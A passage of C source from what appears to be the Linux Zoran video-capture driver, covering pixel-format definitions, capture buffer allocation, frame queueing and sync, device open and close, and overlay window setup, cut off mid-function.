.depth = 32,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_RGB888|ZR36057_VFESPFR_LittleEndian,
}, {
.name = "32-bit RGB BE",
.fourcc = V4L2_PIX_FMT_RGB32,
.colorspace = V4L2_COLORSPACE_SRGB,
.depth = 32,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_RGB888,
}, {
.name = "4:2:2, packed, YUYV",
.fourcc = V4L2_PIX_FMT_YUYV,
.colorspace = V4L2_COLORSPACE_SMPTE170M,
.depth = 16,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_YUV422,
}, {
.name = "4:2:2, packed, UYVY",
.fourcc = V4L2_PIX_FMT_UYVY,
.colorspace = V4L2_COLORSPACE_SMPTE170M,
.depth = 16,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_OVERLAY,
.vfespfr = ZR36057_VFESPFR_YUV422|ZR36057_VFESPFR_LittleEndian,
}, {
.name = "Hardware-encoded Motion-JPEG",
.fourcc = V4L2_PIX_FMT_MJPEG,
.colorspace = V4L2_COLORSPACE_SMPTE170M,
.depth = 0,
.flags = ZORAN_FORMAT_CAPTURE |
ZORAN_FORMAT_PLAYBACK |
ZORAN_FORMAT_COMPRESSED,
}
};
#define NUM_FORMATS ARRAY_SIZE(zoran_formats)
/* small helper function for calculating buffersizes for v4l2
* we calculate the nearest higher power-of-two, which
* will be the recommended buffersize */
static __u32
zoran_v4l2_calc_bufsize (struct zoran_jpg_settings *settings)
{
__u8 div = settings->VerDcm * settings->HorDcm * settings->TmpDcm;
__u32 num = (1024 * 512) / (div);
__u32 result = 2;
num--;
while (num) {
num >>= 1;
result <<= 1;
}
if (result > jpg_bufsize)
return jpg_bufsize;
if (result < 8192)
return 8192;
return result;
}
/* forward references */
static void v4l_fbuffer_free(struct zoran_fh *fh);
static void jpg_fbuffer_free(struct zoran_fh *fh);
/* Set mapping mode */
static void map_mode_raw(struct zoran_fh *fh)
{
fh->map_mode = ZORAN_MAP_MODE_RAW;
fh->buffers.buffer_size = v4l_bufsize;
fh->buffers.num_buffers = v4l_nbufs;
}
static void map_mode_jpg(struct zoran_fh *fh, int play)
{
fh->map_mode = play ? ZORAN_MAP_MODE_JPG_PLAY : ZORAN_MAP_MODE_JPG_REC;
fh->buffers.buffer_size = jpg_bufsize;
fh->buffers.num_buffers = jpg_nbufs;
}
static inline const char *mode_name(enum zoran_map_mode mode)
{
return mode == ZORAN_MAP_MODE_RAW ? "V4L" : "JPG";
}
/*
* Allocate the V4L grab buffers
*
* These have to be pysically contiguous.
*/
static int v4l_fbuffer_alloc(struct zoran_fh *fh)
{
struct zoran *zr = fh->zr;
int i, off;
unsigned char *mem;
for (i = 0; i < fh->buffers.num_buffers; i++) {
if (fh->buffers.buffer[i].v4l.fbuffer)
dprintk(2,
KERN_WARNING
"%s: %s - buffer %d already allocated!?\n",
ZR_DEVNAME(zr), __func__, i);
//udelay(20);
mem = kmalloc(fh->buffers.buffer_size,
GFP_KERNEL | __GFP_NOWARN);
if (!mem) {
dprintk(1,
KERN_ERR
"%s: %s - kmalloc for V4L buf %d failed\n",
ZR_DEVNAME(zr), __func__, i);
v4l_fbuffer_free(fh);
return -ENOBUFS;
}
fh->buffers.buffer[i].v4l.fbuffer = mem;
fh->buffers.buffer[i].v4l.fbuffer_phys = virt_to_phys(mem);
fh->buffers.buffer[i].v4l.fbuffer_bus = virt_to_bus(mem);
for (off = 0; off < fh->buffers.buffer_size;
off += PAGE_SIZE)
SetPageReserved(virt_to_page(mem + off));
dprintk(4,
KERN_INFO
"%s: %s - V4L frame %d mem 0x%lx (bus: 0x%llx)\n",
ZR_DEVNAME(zr), __func__, i, (unsigned long) mem,
(unsigned long long)virt_to_bus(mem));
}
fh->buffers.allocated = 1;
return 0;
}
/* free the V4L grab buffers */
static void v4l_fbuffer_free(struct zoran_fh *fh)
{
struct zoran *zr = fh->zr;
int i, off;
unsigned char *mem;
dprintk(4, KERN_INFO "%s: %s\n", ZR_DEVNAME(zr), __func__);
for (i = 0; i < fh->buffers.num_buffers; i++) {
if (!fh->buffers.buffer[i].v4l.fbuffer)
continue;
mem = fh->buffers.buffer[i].v4l.fbuffer;
for (off = 0; off < fh->buffers.buffer_size;
off += PAGE_SIZE)
ClearPageReserved(virt_to_page(mem + off));
kfree(fh->buffers.buffer[i].v4l.fbuffer);
fh->buffers.buffer[i].v4l.fbuffer = NULL;
}
fh->buffers.allocated = 0;
}
/*
* Allocate the MJPEG grab buffers.
*
* If a Natoma chipset is present and this is a revision 1 zr36057,
* each MJPEG buffer needs to be physically contiguous.
* (RJ: This statement is from Dave Perks' original driver,
* I could never check it because I have a zr36067)
*
* RJ: The contents grab buffers needs never be accessed in the driver.
* Therefore there is no need to allocate them with vmalloc in order
* to get a contiguous virtual memory space.
* I don't understand why many other drivers first allocate them with
* vmalloc (which uses internally also get_zeroed_page, but delivers you
* virtual addresses) and then again have to make a lot of efforts
* to get the physical address.
*
* Ben Capper:
* On big-endian architectures (such as ppc) some extra steps
* are needed. When reading and writing to the stat_com array
* and fragment buffers, the device expects to see little-
* endian values. The use of cpu_to_le32() and le32_to_cpu()
* in this function (and one or two others in zoran_device.c)
* ensure that these values are always stored in little-endian
* form, regardless of architecture. The zr36057 does Very Bad
* Things on big endian architectures if the stat_com array
* and fragment buffers are not little-endian.
*/
static int jpg_fbuffer_alloc(struct zoran_fh *fh)
{
struct zoran *zr = fh->zr;
int i, j, off;
u8 *mem;
for (i = 0; i < fh->buffers.num_buffers; i++) {
if (fh->buffers.buffer[i].jpg.frag_tab)
dprintk(2,
KERN_WARNING
"%s: %s - buffer %d already allocated!?\n",
ZR_DEVNAME(zr), __func__, i);
/* Allocate fragment table for this buffer */
mem = (void *)get_zeroed_page(GFP_KERNEL);
if (!mem) {
dprintk(1,
KERN_ERR
"%s: %s - get_zeroed_page (frag_tab) failed for buffer %d\n",
ZR_DEVNAME(zr), __func__, i);
jpg_fbuffer_free(fh);
return -ENOBUFS;
}
fh->buffers.buffer[i].jpg.frag_tab = (__le32 *)mem;
fh->buffers.buffer[i].jpg.frag_tab_bus = virt_to_bus(mem);
if (fh->buffers.need_contiguous) {
mem = kmalloc(fh->buffers.buffer_size, GFP_KERNEL);
if (mem == NULL) {
dprintk(1,
KERN_ERR
"%s: %s - kmalloc failed for buffer %d\n",
ZR_DEVNAME(zr), __func__, i);
jpg_fbuffer_free(fh);
return -ENOBUFS;
}
fh->buffers.buffer[i].jpg.frag_tab[0] =
cpu_to_le32(virt_to_bus(mem));
fh->buffers.buffer[i].jpg.frag_tab[1] =
cpu_to_le32((fh->buffers.buffer_size >> 1) | 1);
for (off = 0; off < fh->buffers.buffer_size; off += PAGE_SIZE)
SetPageReserved(virt_to_page(mem + off));
} else {
/* jpg_bufsize is already page aligned */
for (j = 0; j < fh->buffers.buffer_size / PAGE_SIZE; j++) {
mem = (void *)get_zeroed_page(GFP_KERNEL);
if (mem == NULL) {
dprintk(1,
KERN_ERR
"%s: %s - get_zeroed_page failed for buffer %d\n",
ZR_DEVNAME(zr), __func__, i);
jpg_fbuffer_free(fh);
return -ENOBUFS;
}
fh->buffers.buffer[i].jpg.frag_tab[2 * j] =
cpu_to_le32(virt_to_bus(mem));
fh->buffers.buffer[i].jpg.frag_tab[2 * j + 1] =
cpu_to_le32((PAGE_SIZE >> 2) << 1);
SetPageReserved(virt_to_page(mem));
}
fh->buffers.buffer[i].jpg.frag_tab[2 * j - 1] |= cpu_to_le32(1);
}
}
dprintk(4,
KERN_DEBUG "%s: %s - %d KB allocated\n",
ZR_DEVNAME(zr), __func__,
(fh->buffers.num_buffers * fh->buffers.buffer_size) >> 10);
fh->buffers.allocated = 1;
return 0;
}
/* free the MJPEG grab buffers */
static void jpg_fbuffer_free(struct zoran_fh *fh)
{
struct zoran *zr = fh->zr;
int i, j, off;
unsigned char *mem;
__le32 frag_tab;
struct zoran_buffer *buffer;
dprintk(4, KERN_DEBUG "%s: %s\n", ZR_DEVNAME(zr), __func__);
for (i = 0, buffer = &fh->buffers.buffer[0];
i < fh->buffers.num_buffers; i++, buffer++) {
if (!buffer->jpg.frag_tab)
continue;
if (fh->buffers.need_contiguous) {
frag_tab = buffer->jpg.frag_tab[0];
if (frag_tab) {
mem = bus_to_virt(le32_to_cpu(frag_tab));
for (off = 0; off < fh->buffers.buffer_size; off += PAGE_SIZE)
ClearPageReserved(virt_to_page(mem + off));
kfree(mem);
buffer->jpg.frag_tab[0] = 0;
buffer->jpg.frag_tab[1] = 0;
}
} else {
for (j = 0; j < fh->buffers.buffer_size / PAGE_SIZE; j++) {
frag_tab = buffer->jpg.frag_tab[2 * j];
if (!frag_tab)
break;
ClearPageReserved(virt_to_page(bus_to_virt(le32_to_cpu(frag_tab))));
free_page((unsigned long)bus_to_virt(le32_to_cpu(frag_tab)));
buffer->jpg.frag_tab[2 * j] = 0;
buffer->jpg.frag_tab[2 * j + 1] = 0;
}
}
free_page((unsigned long)buffer->jpg.frag_tab);
buffer->jpg.frag_tab = NULL;
}
fh->buffers.allocated = 0;
}
/*
* V4L Buffer grabbing
*/
static int
zoran_v4l_set_format (struct zoran_fh *fh,
int width,
int height,
const struct zoran_format *format)
{
struct zoran *zr = fh->zr;
int bpp;
/* Check size and format of the grab wanted */
if (height < BUZ_MIN_HEIGHT || width < BUZ_MIN_WIDTH ||
height > BUZ_MAX_HEIGHT || width > BUZ_MAX_WIDTH) {
dprintk(1,
KERN_ERR
"%s: %s - wrong frame size (%dx%d)\n",
ZR_DEVNAME(zr), __func__, width, height);
return -EINVAL;
}
bpp = (format->depth + 7) / 8;
/* Check against available buffer size */
if (height * width * bpp > fh->buffers.buffer_size) {
dprintk(1,
KERN_ERR
"%s: %s - video buffer size (%d kB) is too small\n",
ZR_DEVNAME(zr), __func__, fh->buffers.buffer_size >> 10);
return -EINVAL;
}
/* The video front end needs 4-byte alinged line sizes */
if ((bpp == 2 && (width & 1)) || (bpp == 3 && (width & 3))) {
dprintk(1,
KERN_ERR
"%s: %s - wrong frame alignment\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
fh->v4l_settings.width = width;
fh->v4l_settings.height = height;
fh->v4l_settings.format = format;
fh->v4l_settings.bytesperline = bpp * fh->v4l_settings.width;
return 0;
}
static int zoran_v4l_queue_frame(struct zoran_fh *fh, int num)
{
struct zoran *zr = fh->zr;
unsigned long flags;
int res = 0;
if (!fh->buffers.allocated) {
dprintk(1,
KERN_ERR
"%s: %s - buffers not yet allocated\n",
ZR_DEVNAME(zr), __func__);
res = -ENOMEM;
}
/* No grabbing outside the buffer range! */
if (num >= fh->buffers.num_buffers || num < 0) {
dprintk(1,
KERN_ERR
"%s: %s - buffer %d is out of range\n",
ZR_DEVNAME(zr), __func__, num);
res = -EINVAL;
}
spin_lock_irqsave(&zr->spinlock, flags);
if (fh->buffers.active == ZORAN_FREE) {
if (zr->v4l_buffers.active == ZORAN_FREE) {
zr->v4l_buffers = fh->buffers;
fh->buffers.active = ZORAN_ACTIVE;
} else {
dprintk(1,
KERN_ERR
"%s: %s - another session is already capturing\n",
ZR_DEVNAME(zr), __func__);
res = -EBUSY;
}
}
/* make sure a grab isn't going on currently with this buffer */
if (!res) {
switch (zr->v4l_buffers.buffer[num].state) {
default:
case BUZ_STATE_PEND:
if (zr->v4l_buffers.active == ZORAN_FREE) {
fh->buffers.active = ZORAN_FREE;
zr->v4l_buffers.allocated = 0;
}
res = -EBUSY; /* what are you doing? */
break;
case BUZ_STATE_DONE:
dprintk(2,
KERN_WARNING
"%s: %s - queueing buffer %d in state DONE!?\n",
ZR_DEVNAME(zr), __func__, num);
case BUZ_STATE_USER:
/* since there is at least one unused buffer there's room for at least
* one more pend[] entry */
zr->v4l_pend[zr->v4l_pend_head++ & V4L_MASK_FRAME] = num;
zr->v4l_buffers.buffer[num].state = BUZ_STATE_PEND;
zr->v4l_buffers.buffer[num].bs.length =
fh->v4l_settings.bytesperline *
zr->v4l_settings.height;
fh->buffers.buffer[num] = zr->v4l_buffers.buffer[num];
break;
}
}
spin_unlock_irqrestore(&zr->spinlock, flags);
if (!res && zr->v4l_buffers.active == ZORAN_FREE)
zr->v4l_buffers.active = fh->buffers.active;
return res;
}
/*
* Sync on a V4L buffer
*/
static int v4l_sync(struct zoran_fh *fh, int frame)
{
struct zoran *zr = fh->zr;
unsigned long flags;
if (fh->buffers.active == ZORAN_FREE) {
dprintk(1,
KERN_ERR
"%s: %s - no grab active for this session\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
/* check passed-in frame number */
if (frame >= fh->buffers.num_buffers || frame < 0) {
dprintk(1,
KERN_ERR "%s: %s - frame %d is invalid\n",
ZR_DEVNAME(zr), __func__, frame);
return -EINVAL;
}
/* Check if is buffer was queued at all */
if (zr->v4l_buffers.buffer[frame].state == BUZ_STATE_USER) {
dprintk(1,
KERN_ERR
"%s: %s - attempt to sync on a buffer which was not queued?\n",
ZR_DEVNAME(zr), __func__);
return -EPROTO;
}
/* wait on this buffer to get ready */
if (!wait_event_interruptible_timeout(zr->v4l_capq,
(zr->v4l_buffers.buffer[frame].state != BUZ_STATE_PEND), 10*HZ))
return -ETIME;
if (signal_pending(current))
return -ERESTARTSYS;
/* buffer should now be in BUZ_STATE_DONE */
if (zr->v4l_buffers.buffer[frame].state != BUZ_STATE_DONE)
dprintk(2,
KERN_ERR "%s: %s - internal state error\n",
ZR_DEVNAME(zr), __func__);
zr->v4l_buffers.buffer[frame].state = BUZ_STATE_USER;
fh->buffers.buffer[frame] = zr->v4l_buffers.buffer[frame];
spin_lock_irqsave(&zr->spinlock, flags);
/* Check if streaming capture has finished */
if (zr->v4l_pend_tail == zr->v4l_pend_head) {
zr36057_set_memgrab(zr, 0);
if (zr->v4l_buffers.active == ZORAN_ACTIVE) {
fh->buffers.active = zr->v4l_buffers.active = ZORAN_FREE;
zr->v4l_buffers.allocated = 0;
}
}
spin_unlock_irqrestore(&zr->spinlock, flags);
return 0;
}
/*
* Queue a MJPEG buffer for capture/playback
*/
static int zoran_jpg_queue_frame(struct zoran_fh *fh, int num,
enum zoran_codec_mode mode)
{
struct zoran *zr = fh->zr;
unsigned long flags;
int res = 0;
/* Check if buffers are allocated */
if (!fh->buffers.allocated) {
dprintk(1,
KERN_ERR
"%s: %s - buffers not yet allocated\n",
ZR_DEVNAME(zr), __func__);
return -ENOMEM;
}
/* No grabbing outside the buffer range! */
if (num >= fh->buffers.num_buffers || num < 0) {
dprintk(1,
KERN_ERR
"%s: %s - buffer %d out of range\n",
ZR_DEVNAME(zr), __func__, num);
return -EINVAL;
}
/* what is the codec mode right now? */
if (zr->codec_mode == BUZ_MODE_IDLE) {
zr->jpg_settings = fh->jpg_settings;
} else if (zr->codec_mode != mode) {
/* wrong codec mode active - invalid */
dprintk(1,
KERN_ERR
"%s: %s - codec in wrong mode\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
if (fh->buffers.active == ZORAN_FREE) {
if (zr->jpg_buffers.active == ZORAN_FREE) {
zr->jpg_buffers = fh->buffers;
fh->buffers.active = ZORAN_ACTIVE;
} else {
dprintk(1,
KERN_ERR
"%s: %s - another session is already capturing\n",
ZR_DEVNAME(zr), __func__);
res = -EBUSY;
}
}
if (!res && zr->codec_mode == BUZ_MODE_IDLE) {
/* Ok load up the jpeg codec */
zr36057_enable_jpg(zr, mode);
}
spin_lock_irqsave(&zr->spinlock, flags);
if (!res) {
switch (zr->jpg_buffers.buffer[num].state) {
case BUZ_STATE_DONE:
dprintk(2,
KERN_WARNING
"%s: %s - queing frame in BUZ_STATE_DONE state!?\n",
ZR_DEVNAME(zr), __func__);
case BUZ_STATE_USER:
/* since there is at least one unused buffer there's room for at
*least one more pend[] entry */
zr->jpg_pend[zr->jpg_que_head++ & BUZ_MASK_FRAME] = num;
zr->jpg_buffers.buffer[num].state = BUZ_STATE_PEND;
fh->buffers.buffer[num] = zr->jpg_buffers.buffer[num];
zoran_feed_stat_com(zr);
break;
default:
case BUZ_STATE_DMA:
case BUZ_STATE_PEND:
if (zr->jpg_buffers.active == ZORAN_FREE) {
fh->buffers.active = ZORAN_FREE;
zr->jpg_buffers.allocated = 0;
}
res = -EBUSY; /* what are you doing? */
break;
}
}
spin_unlock_irqrestore(&zr->spinlock, flags);
if (!res && zr->jpg_buffers.active == ZORAN_FREE)
zr->jpg_buffers.active = fh->buffers.active;
return res;
}
static int jpg_qbuf(struct zoran_fh *fh, int frame, enum zoran_codec_mode mode)
{
struct zoran *zr = fh->zr;
int res = 0;
/* Does the user want to stop streaming? */
if (frame < 0) {
if (zr->codec_mode == mode) {
if (fh->buffers.active == ZORAN_FREE) {
dprintk(1,
KERN_ERR
"%s: %s(-1) - session not active\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
fh->buffers.active = zr->jpg_buffers.active = ZORAN_FREE;
zr->jpg_buffers.allocated = 0;
zr36057_enable_jpg(zr, BUZ_MODE_IDLE);
return 0;
} else {
dprintk(1,
KERN_ERR
"%s: %s - stop streaming but not in streaming mode\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
}
if ((res = zoran_jpg_queue_frame(fh, frame, mode)))
return res;
/* Start the jpeg codec when the first frame is queued */
if (!res && zr->jpg_que_head == 1)
jpeg_start(zr);
return res;
}
/*
* Sync on a MJPEG buffer
*/
static int jpg_sync(struct zoran_fh *fh, struct zoran_sync *bs)
{
struct zoran *zr = fh->zr;
unsigned long flags;
int frame;
if (fh->buffers.active == ZORAN_FREE) {
dprintk(1,
KERN_ERR
"%s: %s - capture is not currently active\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
if (zr->codec_mode != BUZ_MODE_MOTION_DECOMPRESS &&
zr->codec_mode != BUZ_MODE_MOTION_COMPRESS) {
dprintk(1,
KERN_ERR
"%s: %s - codec not in streaming mode\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
if (!wait_event_interruptible_timeout(zr->jpg_capq,
(zr->jpg_que_tail != zr->jpg_dma_tail ||
zr->jpg_dma_tail == zr->jpg_dma_head),
10*HZ)) {
int isr;
btand(~ZR36057_JMC_Go_en, ZR36057_JMC);
udelay(1);
zr->codec->control(zr->codec, CODEC_G_STATUS,
sizeof(isr), &isr);
dprintk(1,
KERN_ERR
"%s: %s - timeout: codec isr=0x%02x\n",
ZR_DEVNAME(zr), __func__, isr);
return -ETIME;
}
if (signal_pending(current))
return -ERESTARTSYS;
spin_lock_irqsave(&zr->spinlock, flags);
if (zr->jpg_dma_tail != zr->jpg_dma_head)
frame = zr->jpg_pend[zr->jpg_que_tail++ & BUZ_MASK_FRAME];
else
frame = zr->jpg_pend[zr->jpg_que_tail & BUZ_MASK_FRAME];
/* buffer should now be in BUZ_STATE_DONE */
if (zr->jpg_buffers.buffer[frame].state != BUZ_STATE_DONE)
dprintk(2,
KERN_ERR "%s: %s - internal state error\n",
ZR_DEVNAME(zr), __func__);
*bs = zr->jpg_buffers.buffer[frame].bs;
bs->frame = frame;
zr->jpg_buffers.buffer[frame].state = BUZ_STATE_USER;
fh->buffers.buffer[frame] = zr->jpg_buffers.buffer[frame];
spin_unlock_irqrestore(&zr->spinlock, flags);
return 0;
}
static void zoran_open_init_session(struct zoran_fh *fh)
{
int i;
struct zoran *zr = fh->zr;
/* Per default, map the V4L Buffers */
map_mode_raw(fh);
/* take over the card's current settings */
fh->overlay_settings = zr->overlay_settings;
fh->overlay_settings.is_set = 0;
fh->overlay_settings.format = zr->overlay_settings.format;
fh->overlay_active = ZORAN_FREE;
/* v4l settings */
fh->v4l_settings = zr->v4l_settings;
/* jpg settings */
fh->jpg_settings = zr->jpg_settings;
/* buffers */
memset(&fh->buffers, 0, sizeof(fh->buffers));
for (i = 0; i < MAX_FRAME; i++) {
fh->buffers.buffer[i].state = BUZ_STATE_USER; /* nothing going on */
fh->buffers.buffer[i].bs.frame = i;
}
fh->buffers.allocated = 0;
fh->buffers.active = ZORAN_FREE;
}
static void zoran_close_end_session(struct zoran_fh *fh)
{
struct zoran *zr = fh->zr;
/* overlay */
if (fh->overlay_active != ZORAN_FREE) {
fh->overlay_active = zr->overlay_active = ZORAN_FREE;
zr->v4l_overlay_active = 0;
if (!zr->v4l_memgrab_active)
zr36057_overlay(zr, 0);
zr->overlay_mask = NULL;
}
if (fh->map_mode == ZORAN_MAP_MODE_RAW) {
/* v4l capture */
if (fh->buffers.active != ZORAN_FREE) {
unsigned long flags;
spin_lock_irqsave(&zr->spinlock, flags);
zr36057_set_memgrab(zr, 0);
zr->v4l_buffers.allocated = 0;
zr->v4l_buffers.active = fh->buffers.active = ZORAN_FREE;
spin_unlock_irqrestore(&zr->spinlock, flags);
}
/* v4l buffers */
if (fh->buffers.allocated)
v4l_fbuffer_free(fh);
} else {
/* jpg capture */
if (fh->buffers.active != ZORAN_FREE) {
zr36057_enable_jpg(zr, BUZ_MODE_IDLE);
zr->jpg_buffers.allocated = 0;
zr->jpg_buffers.active = fh->buffers.active = ZORAN_FREE;
}
/* jpg buffers */
if (fh->buffers.allocated)
jpg_fbuffer_free(fh);
}
}
/*
* Open a zoran card. Right now the flags stuff is just playing
*/
static int zoran_open(struct file *file)
{
struct zoran *zr = video_drvdata(file);
struct zoran_fh *fh;
int res, first_open = 0;
dprintk(2, KERN_INFO "%s: %s(%s, pid=[%d]), users(-)=%d\n",
ZR_DEVNAME(zr), __func__, current->comm, task_pid_nr(current), zr->user + 1);
mutex_lock(&zr->other_lock);
if (zr->user >= 2048) {
dprintk(1, KERN_ERR "%s: too many users (%d) on device\n",
ZR_DEVNAME(zr), zr->user);
res = -EBUSY;
goto fail_unlock;
}
/* now, create the open()-specific file_ops struct */
fh = kzalloc(sizeof(struct zoran_fh), GFP_KERNEL);
if (!fh) {
dprintk(1,
KERN_ERR
"%s: %s - allocation of zoran_fh failed\n",
ZR_DEVNAME(zr), __func__);
res = -ENOMEM;
goto fail_unlock;
}
/* used to be BUZ_MAX_WIDTH/HEIGHT, but that gives overflows
* on norm-change! */
fh->overlay_mask =
kmalloc(((768 + 31) / 32) * 576 * 4, GFP_KERNEL);
if (!fh->overlay_mask) {
dprintk(1,
KERN_ERR
"%s: %s - allocation of overlay_mask failed\n",
ZR_DEVNAME(zr), __func__);
res = -ENOMEM;
goto fail_fh;
}
if (zr->user++ == 0)
first_open = 1;
/*mutex_unlock(&zr->resource_lock);*/
/* default setup - TODO: look at flags */
if (first_open) { /* First device open */
zr36057_restart(zr);
zoran_open_init_params(zr);
zoran_init_hardware(zr);
btor(ZR36057_ICR_IntPinEn, ZR36057_ICR);
}
/* set file_ops stuff */
file->private_data = fh;
fh->zr = zr;
zoran_open_init_session(fh);
mutex_unlock(&zr->other_lock);
return 0;
fail_fh:
kfree(fh);
fail_unlock:
mutex_unlock(&zr->other_lock);
dprintk(2, KERN_INFO "%s: open failed (%d), users(-)=%d\n",
ZR_DEVNAME(zr), res, zr->user);
return res;
}
static int
zoran_close(struct file *file)
{
struct zoran_fh *fh = file->private_data;
struct zoran *zr = fh->zr;
dprintk(2, KERN_INFO "%s: %s(%s, pid=[%d]), users(+)=%d\n",
ZR_DEVNAME(zr), __func__, current->comm, task_pid_nr(current), zr->user - 1);
/* kernel locks (fs/device.c), so don't do that ourselves
* (prevents deadlocks) */
mutex_lock(&zr->other_lock);
zoran_close_end_session(fh);
if (zr->user-- == 1) { /* Last process */
/* Clean up JPEG process */
wake_up_interruptible(&zr->jpg_capq);
zr36057_enable_jpg(zr, BUZ_MODE_IDLE);
zr->jpg_buffers.allocated = 0;
zr->jpg_buffers.active = ZORAN_FREE;
/* disable interrupts */
btand(~ZR36057_ICR_IntPinEn, ZR36057_ICR);
if (zr36067_debug > 1)
print_interrupts(zr);
/* Overlay off */
zr->v4l_overlay_active = 0;
zr36057_overlay(zr, 0);
zr->overlay_mask = NULL;
/* capture off */
wake_up_interruptible(&zr->v4l_capq);
zr36057_set_memgrab(zr, 0);
zr->v4l_buffers.allocated = 0;
zr->v4l_buffers.active = ZORAN_FREE;
zoran_set_pci_master(zr, 0);
if (!pass_through) { /* Switch to color bar */
decoder_call(zr, video, s_stream, 0);
encoder_call(zr, video, s_routing, 2, 0, 0);
}
}
mutex_unlock(&zr->other_lock);
file->private_data = NULL;
kfree(fh->overlay_mask);
kfree(fh);
dprintk(4, KERN_INFO "%s: %s done\n", ZR_DEVNAME(zr), __func__);
return 0;
}
static ssize_t
zoran_read (struct file *file,
char __user *data,
size_t count,
loff_t *ppos)
{
/* we simply don't support read() (yet)... */
return -EINVAL;
}
static ssize_t
zoran_write (struct file *file,
const char __user *data,
size_t count,
loff_t *ppos)
{
/* ...and the same goes for write() */
return -EINVAL;
}
static int setup_fbuffer(struct zoran_fh *fh,
void *base,
const struct zoran_format *fmt,
int width,
int height,
int bytesperline)
{
struct zoran *zr = fh->zr;
/* (Ronald) v4l/v4l2 guidelines */
if (!capable(CAP_SYS_ADMIN) && !capable(CAP_SYS_RAWIO))
return -EPERM;
/* Don't allow frame buffer overlay if PCI or AGP is buggy, or on
ALi Magik (that needs very low latency while the card needs a
higher value always) */
if (pci_pci_problems & (PCIPCI_FAIL | PCIAGP_FAIL | PCIPCI_ALIMAGIK))
return -ENXIO;
/* we need a bytesperline value, even if not given */
if (!bytesperline)
bytesperline = width * ((fmt->depth + 7) & ~7) / 8;
#if 0
if (zr->overlay_active) {
/* dzjee... stupid users... don't even bother to turn off
* overlay before changing the memory location...
* normally, we would return errors here. However, one of
* the tools that does this is... xawtv! and since xawtv
* is used by +/- 99% of the users, we'd rather be user-
* friendly and silently do as if nothing went wrong */
dprintk(3,
KERN_ERR
"%s: %s - forced overlay turnoff because framebuffer changed\n",
ZR_DEVNAME(zr), __func__);
zr36057_overlay(zr, 0);
}
#endif
if (!(fmt->flags & ZORAN_FORMAT_OVERLAY)) {
dprintk(1,
KERN_ERR
"%s: %s - no valid overlay format given\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
if (height <= 0 || width <= 0 || bytesperline <= 0) {
dprintk(1,
KERN_ERR
"%s: %s - invalid height/width/bpl value (%d|%d|%d)\n",
ZR_DEVNAME(zr), __func__, width, height, bytesperline);
return -EINVAL;
}
if (bytesperline & 3) {
dprintk(1,
KERN_ERR
"%s: %s - bytesperline (%d) must be 4-byte aligned\n",
ZR_DEVNAME(zr), __func__, bytesperline);
return -EINVAL;
}
zr->vbuf_base = (void *) ((unsigned long) base & ~3);
zr->vbuf_height = height;
zr->vbuf_width = width;
zr->vbuf_depth = fmt->depth;
zr->overlay_settings.format = fmt;
zr->vbuf_bytesperline = bytesperline;
/* The user should set new window parameters */
zr->overlay_settings.is_set = 0;
return 0;
}
static int setup_window(struct zoran_fh *fh, int x, int y, int width, int height,
struct v4l2_clip __user *clips, int clipcount, void __user *bitmap)
{
struct zoran *zr = fh->zr;
struct v4l2_clip *vcp = NULL;
int on, end;
if (!zr->vbuf_base) {
dprintk(1,
KERN_ERR
"%s: %s - frame buffer has to be set first\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
if (!fh->overlay_settings.format) {
dprintk(1,
KERN_ERR
"%s: %s - no overlay format set\n",
ZR_DEVNAME(zr), __func__);
return -EINVAL;
}
/*
* The video front end needs 4-byte alinged line sizes, we correct that
* silently here if necessary
*/
if (zr->vbuf_depth == 15 || zr->vbuf_depth == 16) {
end = (x + width) & ~1; /* round down */
x = (x + 1) & ~1; /* round up */
width = end - x;
}
if (zr->vbuf_depth == 24) {
end = (x + width) & ~3; /* round down */
x = (x + 3) & ~3; /* round up */
width = end - x;
}
if (width > BUZ_MAX_WIDTH)
width = BUZ_MAX_WIDTH;
if (height > BUZ_MAX_HEIGHT)
height = BUZ_MAX_HEIGHT;
/* Check for invalid parameters */
if (width < BUZ_MIN_WIDTH || height < BUZ_MIN_HEIGHT ||
width > BUZ_MAX_WIDTH || height > BUZ_MAX_HEIGHT) {
dprintk(1,
KERN_ERR
"%s: %s - width = %d or height = %d invalid\n",
ZR_DEVNAME(zr), __func__, width, height);
return -EINVAL;
}
fh->overlay_settings.x = x;
fh->overlay_settings.y = y;
fh->overlay_settings.width = width;
fh->overlay_settings.height = height;
fh->overlay_settings.clipcount = clipcount;
/*
* If an overlay is running, we have to switch it off
* and switch it on again in order to get the new settings in effect.
*
* We also want to avoid that the overlay mask is written
* when an overlay is running.
*/
on = zr->v4l_overlay_active && !zr->v4l_memgrab_active &&
zr->overlay_active != ZORAN_FREE &&
fh->overlay_active != ZORAN_FREE;
if (on)
zr36057_overlay(zr, 0);
/*
* Write the overlay mask if clips are wanted.
* We prefer a bitmap.
*/
if (bitmap) {
/* fake value - it just means we want clips */
fh->overlay_settings.clipcount = 1;
if (copy_from_user(fh->overlay_mask, bitmap,
(width * height + 7) / 8)) {
return -EFAULT;
}
} else if (clipcount > 0) {
/* write our own bitmap from the clips */
vcp = vmalloc(sizeof(struct v4l2_clip) * (clipcount + 4));
if (vcp == NULL) {
dprintk(1,
KERN_ERR
"%s: %s - Alloc of clip mask failed\n",
ZR_DEVNAME(zr), __func__);
return -ENOMEM;
}
if (copy_from_user
(vcp, clips, sizeof(struct v4l2_clip) * clipcount)) {
vfree(vcp);
return -EFAULT;
}
write_overlay_mask(fh, vcp, clipcount);
vfree(vcp);
}
fh->overlay_settings.is_set = 1;
if (fh->overlay_active != ZORAN_FREE &&
zr->overlay_active != ZORAN_FREE)
zr->overlay_settings = fh->overlay_settings;
if (on)
zr36057_overlay(zr, 1);
/* Make sure the changes come into effect */
